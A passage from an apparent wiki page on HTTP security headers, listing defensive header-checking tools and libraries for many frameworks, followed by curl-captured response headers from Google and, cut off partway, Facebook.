&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''Check Your Headers'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
Just another web scanner for HTTP response headers.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://cyh.herokuapp.com/cyh&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''Recx Security Analyser'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
Chrome extension that allows the inspection of security aspects of a site's HTTP headers, cookies and other key security settings.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://chrome.google.com/webstore/detail/recx-security-analyser/ljafjhbjenhgcgnikniijchkngljgjda&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''KickOff'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
While each project you launch may have a different feature set, they often share many of the same performance, SEO and security requirements. This tool aims to automate the process of checking your list of requirements shortly before launch or directly after a deployment.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/frickelbruder/kickoff&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellpadding=&amp;quot;7&amp;quot; cellspacing=&amp;quot;0&amp;quot; &amp;lt;col width=&amp;quot;325&amp;quot;&amp;gt;&amp;lt;col width=&amp;quot;316&amp;quot;&amp;gt;&lt;br /&gt;
! ead | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;50%&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Development Libraries'''&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Language'''&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Reference'''&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''secureheaders'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
Security related headers all in one gem.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Ruby&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Github: https://github.com/twitter/secureheaders&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''Security Header Injection Module (SHIM)'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
SHIM is a HTTP module that provides protection for many vulnerabilities by injecting security-specific HTTP headers into ASP.NET web applications.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* ASP.NET&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://shim.codeplex.com/&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''Spring Security'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
Spring Security’s support for adding various security headers to the response.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Java&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: http://docs.spring.io/spring-security/site/docs/current/reference/html/headers.html&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''SecureHeaders'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
A PHP class aiming to make the use of browser security features more accessible.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* PHP&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/aidantwoods/SecureHeaders&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''rack-secure_headers'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
Security related HTTP headers for Rack applications.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Rack&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/frodsan/rack-secure_headers&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''helmet and hood'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
Node.js (express).&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Node.js (express)&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/helmetjs/helmet&lt;br /&gt;
* Site: https://github.com/seanmonstar/hood&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''blankie'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
A CSP plugin for hapi.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Node.js (hapi)&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/nlf/blankie&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''NWebsec'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
NWebsec consists of several security libraries for ASP.NET applications.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* ASP.NET&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://docs.nwebsec.com&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''django-csp + commonware; django-security'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
django-csp + commonware; django-security.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Python&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/mozilla/django-csp&lt;br /&gt;
* Site: https://github.com/jsocol/commonware/&lt;br /&gt;
* Site: https://github.com/sdelements/django-security&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''secureheader'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
Package secureheader adds some HTTP header fields widely considered to improve safety of HTTP requests.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Go&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/kr/secureheader&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''secure_headers'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
This Plug will automatically apply several security headers to the Plug.Conn response. By design SecureHeaders will attempt to apply the most strict security policy. Although, security headers are configurable and are validated to avoid misconfiguration.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Elixir&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/anotherhale/secure_headers&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''dropwizard-web-security'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
A bundle for applying default web security functionality to a dropwizard application.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Dropwizard&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/palantir/dropwizard-web-security&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''ember-cli-content-security-policy'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
This addon makes it easy to use Content Security Policy (CSP) in your project. It can be deployed either via a Content-Security-Policy header sent from the Ember CLI Express server, or as a meta tag in the index.html file.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Ember.js&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://github.com/rwjblue/ember-cli-content-security-policy/&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellpadding=&amp;quot;7&amp;quot; cellspacing=&amp;quot;0&amp;quot; &amp;lt;col width=&amp;quot;325&amp;quot;&amp;gt;&amp;lt;col width=&amp;quot;316&amp;quot;&amp;gt;&lt;br /&gt;
! ead | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;50%&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Operation Tools'''&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Web Servers Supported'''&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Reference'''&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''http_hardening'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;“font-size:9pt&amp;amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
Puppet module to enable, configure and manage secure http headers on web servers.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Apache HTTP Server&lt;br /&gt;
* NGINX&lt;br /&gt;
* Lighttpd&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Github: https://github.com/amenezes/http_hardening&lt;br /&gt;
* Puppet Forge: https://forge.puppet.com/amenezes/http_hardening&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Top Websites Examples=&lt;br /&gt;
&lt;br /&gt;
HTTP response headers from the top websites in the world.&lt;br /&gt;
&lt;br /&gt;
Command used to extract the headers:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;curl -L -A &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36&amp;quot; -s -D - &amp;lt;nowiki&amp;gt;https://www.example.com&amp;lt;/nowiki&amp;gt; -o /dev/null&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Google==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -L -A &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36&amp;quot; -s -D - https://www.google.com -o /dev/null&lt;br /&gt;
HTTP/1.1 302 Found&lt;br /&gt;
Location: https://www.google.com.br/?gws_rd=cr&amp;amp;dcr=0&amp;amp;ei=rtcKWpnkNYaawATUn6agCg&lt;br /&gt;
Cache-Control: private&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
P3P: CP=&amp;quot;This is not a P3P policy! See g.co/p3phelp for more info.&amp;quot;&lt;br /&gt;
Date: Tue, 14 Nov 2017 11:46:54 GMT&lt;br /&gt;
Server: gws&lt;br /&gt;
Content-Length: 273&lt;br /&gt;
X-XSS-Protection: 1; mode=block&lt;br /&gt;
X-Frame-Options: SAMEORIGIN&lt;br /&gt;
Set-Cookie: NID=117=GENZIllQGZFmhCBmap1YThta_hUvvZ9Xm517XXWpF9eCKNqW6_luvZm1b_ai7BN4lAA2pP2Z22BveHqjUrqZxpY38NKSYLKWFGrVh6tGAHcbNw6OHQ_F77bNJWV0BZOZ; expires=Wed, 16-May-2018 11:46:54 GMT; path=/; domain=.google.com; HttpOnly&lt;br /&gt;
Alt-Svc: quic=&amp;quot;:443&amp;quot;; ma=2592000; v=&amp;quot;41,39,38,37,35&amp;quot;&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Tue, 14 Nov 2017 11:46:55 GMT&lt;br /&gt;
Expires: -1&lt;br /&gt;
Cache-Control: private, max-age=0&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
Strict-Transport-Security: max-age=3600&lt;br /&gt;
P3P: CP=&amp;quot;This is not a P3P policy! See g.co/p3phelp for more info.&amp;quot;&lt;br /&gt;
Server: gws&lt;br /&gt;
X-XSS-Protection: 1; mode=block&lt;br /&gt;
X-Frame-Options: SAMEORIGIN&lt;br /&gt;
Set-Cookie: 1P_JAR=2017-11-14-11; expires=Thu, 14-Dec-2017 11:46:55 GMT; path=/; domain=.google.com.br&lt;br /&gt;
Set-Cookie: NID=117=fR73jhascV3B9fbiVfYdvGlilR_tgYNhela9rXdCavJiJoYpkNSTq0NtFqNSV8im602zM7Of-S1GUr_ncSuT3p6tzlw3e6_9ccqPttSuniTHWZEgBtUL1VXTgXBdjKMe; expires=Wed, 16-May-2018 11:46:55 GMT; path=/; domain=.google.com.br; HttpOnly&lt;br /&gt;
Alt-Svc: quic=&amp;quot;:443&amp;quot;; ma=2592000; v=&amp;quot;41,39,38,37,35&amp;quot;&lt;br /&gt;
Accept-Ranges: none&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Transfer-Encoding: chunked&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Facebook==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -L -A &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36&amp;quot; -s -D - https://www.facebook.com -o /dev/null&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
X-XSS-Protection: 0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;&lt;br /&gt;
